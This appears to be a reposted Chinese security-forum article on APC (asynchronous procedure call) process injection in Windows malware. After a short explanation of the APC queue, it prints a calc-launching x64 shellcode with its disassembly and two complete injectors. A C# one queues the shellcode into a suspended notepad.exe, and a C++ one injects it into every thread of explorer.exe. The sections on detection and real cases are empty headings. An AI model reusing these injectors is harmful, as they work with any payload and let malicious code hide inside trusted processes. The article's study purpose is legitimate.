恶意代码分析之APC进程注入学习
本文为看雪论坛优秀文章
看雪论坛作者ID:jishuzhain
1 简单原理
APC 队列:每个线程都有一个 APC 队列,在线程处于可警醒状态时,线程会执行 APC队列中 APC 函数。
APC 在什么时候调用?
1、线程已经创建,系统在调用线程函数时会检查 APC 队列,如果不为空,则调用 APC队列中的 apc 函数,直到队列为空后,才开始调用线程函数。
2、线程通过 WaitForSingleObjectEx 等函数进入可警醒状态时,会先检查 APC 队列。如果不为空,则调用 APC 队列中的 apc 函数。
直到队列为空后,才开始等待要等待的对象,此时如果要等待的对象没有进入激发态且没有超时,WaitForSingleObjectEx 不会返回。
3、线程通过 WaitForSingleObjectEx 等函数进入可警醒状态时,APC 队列为空,且要等待的对象没有进入激发态,也没有超时,则线程进入睡眠等待状态。
此时往该 APC 队列添加 APC 函数后,该线程会被唤醒执行完所有 APC 队列中的函数,然后不去看要等待的对象是否进入激发态,立即从 WaitForSingleObjectEx 中返回,返回值是 WAIT_IO_COMPLETION 。
往线程 APC 队列添加 APC,系统会产生一个软中断。在线程下一次被调度的时候就会执行 APC 函数,APC 有两种形式,由系统产生的 APC 称为内核模式 APC ,由应用程序产生的 APC 被称为用户模式 APC 。
2 实验准备
50 51 52 53 56 57 55 54 58 66 83 e4 f0 50 6a 60 5a 68 63 61 6c 63 54 59 48 29 d4 65 48 8b 32 48 8b 76 18 48 8b 76 10 48 ad 48 8b 30 48 8b 7e 30 03 57 3c 8b 5c 17 28 8b 74 1f 20 48 01 fe 8b 54 1f 24 0f b7 2c 17 8d 52 02 ad 81 3c 07 57 69 6e 45 75 ef 8b 74 1f 1c 48 01 fe 8b 34 ae 48 01 f7 99 ff d7 48 83 c4 68 5c 5d 5f 5e 5b 5a 59 58 c3
如何得到 shellcode 的实际汇编代码?
004547CC 50 push eax ; kernel32.BaseThreadInitThunk
004547CD 51 push ecx
004547CE 52 push edx ; test.<ModuleEntryPoint>
004547CF 53 push ebx
004547D0 56 push esi
004547D1 57 push edi
004547D2 55 push ebp
004547D3 54 push esp
004547D4 58 pop eax ; kernel32.756033AA
004547D5 66:83E4 F0 and sp,0xFFF0
004547D9 50 push eax ; kernel32.BaseThreadInitThunk
004547DA 6A 60 push 0x60
004547DC 5A pop edx ; kernel32.756033AA
004547DD 68 63616C63 push 0x636C6163
004547E2 54 push esp
004547E3 59 pop ecx ; kernel32.756033AA
004547E4 48 dec eax ; kernel32.BaseThreadInitThunk
004547E5 29D4 sub esp,edx ; test.<ModuleEntryPoint>
004547E7 65:48 dec eax
004547E9 8B32 mov esi,dword ptr ds:[edx]
004547EB 48 dec eax ; kernel32.BaseThreadInitThunk
004547EC 8B76 18 mov esi,dword ptr ds:[esi+0x18]
004547EF 48 dec eax ; kernel32.BaseThreadInitThunk
004547F0 8B76 10 mov esi,dword ptr ds:[esi+0x10]
004547F3 48 dec eax ; kernel32.BaseThreadInitThunk
004547F4 AD lods dword ptr ds:[esi]
004547F5 48 dec eax ; kernel32.BaseThreadInitThunk
004547F6 8B30 mov esi,dword ptr ds:[eax]
004547F8 48 dec eax ; kernel32.BaseThreadInitThunk
004547F9 8B7E 30 mov edi,dword ptr ds:[esi+0x30]
004547FC 0357 3C add edx,dword ptr ds:[edi+0x3C]
004547FF 8B5C17 28 mov ebx,dword ptr ds:[edi+edx+0x28]
00454803 8B741F 20 mov esi,dword ptr ds:[edi+ebx+0x20]
00454807 48 dec eax ; kernel32.BaseThreadInitThunk
00454808 01FE add esi,edi
0045480A 8B541F 24 mov edx,dword ptr ds:[edi+ebx+0x24]
0045480E 0FB72C17 movzx ebp,word ptr ds:[edi+edx]
00454812 8D52 02 lea edx,dword ptr ds:[edx+0x2]
00454815 AD lods dword ptr ds:[esi]
00454816 813C07 57696E>cmp dword ptr ds:[edi+eax],0x456E6957
0045481D ^ 75 EF jnz short test.0045480E
0045481F 8B741F 1C mov esi,dword ptr ds:[edi+ebx+0x1C] ; ntdll_1a.773A2100
00454823 48 dec eax ; kernel32.BaseThreadInitThunk
00454824 01FE add esi,edi
00454826 8B34AE mov esi,dword ptr ds:[esi+ebp*4]
00454829 48 dec eax ; kernel32.BaseThreadInitThunk
0045482A 01F7 add edi,esi
0045482C 99 cdq
0045482D FFD7 call edi
0045482F 48 dec eax ; kernel32.BaseThreadInitThunk
00454830 83C4 68 add esp,0x68
00454833 5C pop esp ; kernel32.756033AA
00454834 5D pop ebp ; kernel32.756033AA
00454835 5F pop edi ; kernel32.756033AA
00454836 5E pop esi ; kernel32.756033AA
00454837 5B pop ebx ; kernel32.756033AA
00454838 5A pop edx ; kernel32.756033AA
00454839 59 pop ecx ; kernel32.756033AA
0045483A 58 pop eax ; kernel32.756033AA
0045483B C3 retn
using System;using System.Reflection;using System.Diagnostics;using System.Runtime.InteropServices;public class ApcInjectionNewProcess{ public static void Main() { byte[] shellcode = new byte[112] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 }; // Target process to inject into string processpath = @"C:\Windows\notepad.exe"; STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // Create new process in suspended state to inject into bool success = CreateProcess(processpath, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); // Allocate memory within process and write shellcode IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE); IntPtr bytesWritten = IntPtr.Zero; bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten); // Open thread IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); uint oldProtect = 0; // Modify memory permissions on allocated shellcode resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect); // Assign address of shellcode to the target thread apc queue IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); IntPtr ThreadHandle = pi.hThread; ResumeThread(ThreadHandle); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-) private static UInt32 PAGE_READWRITE = 0x04; private static UInt32 PAGE_EXECUTE_READ = 0x20; [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } [Flags] public enum ProcessCreationFlags : uint { ZERO_FLAG = 0x00000000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00001000, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001) , SUSPEND_RESUME = (0x0002) , GET_CONTEXT = (0x0008) , SET_CONTEXT = (0x0010) , SET_INFORMATION = (0x0020) , QUERY_INFORMATION = (0x0040) , SET_THREAD_TOKEN = (0x0080) , IMPERSONATE = (0x0100) , DIRECT_IMPERSONATION = (0x0200) } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll",SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, Int32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true )] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( ProcessAccessFlags processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll")] public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern uint SuspendThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);}
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "\x50\x51\x52\x53\x56\x57\x55\x54\x58\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7\x48\x83\xc4\x68\x5c\x5d\x5f\x5e\x5b\x5a\x59\x58\xc3";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
验证下已经被注入的 explorer.exe 进程,如下可找到最初的 shellcode 代码。
3 逆向识别
4 实际案例
5 参考来源
看雪ID:jishuzhain
https://bbs.pediy.com/thread-259691.htm
推荐文章++++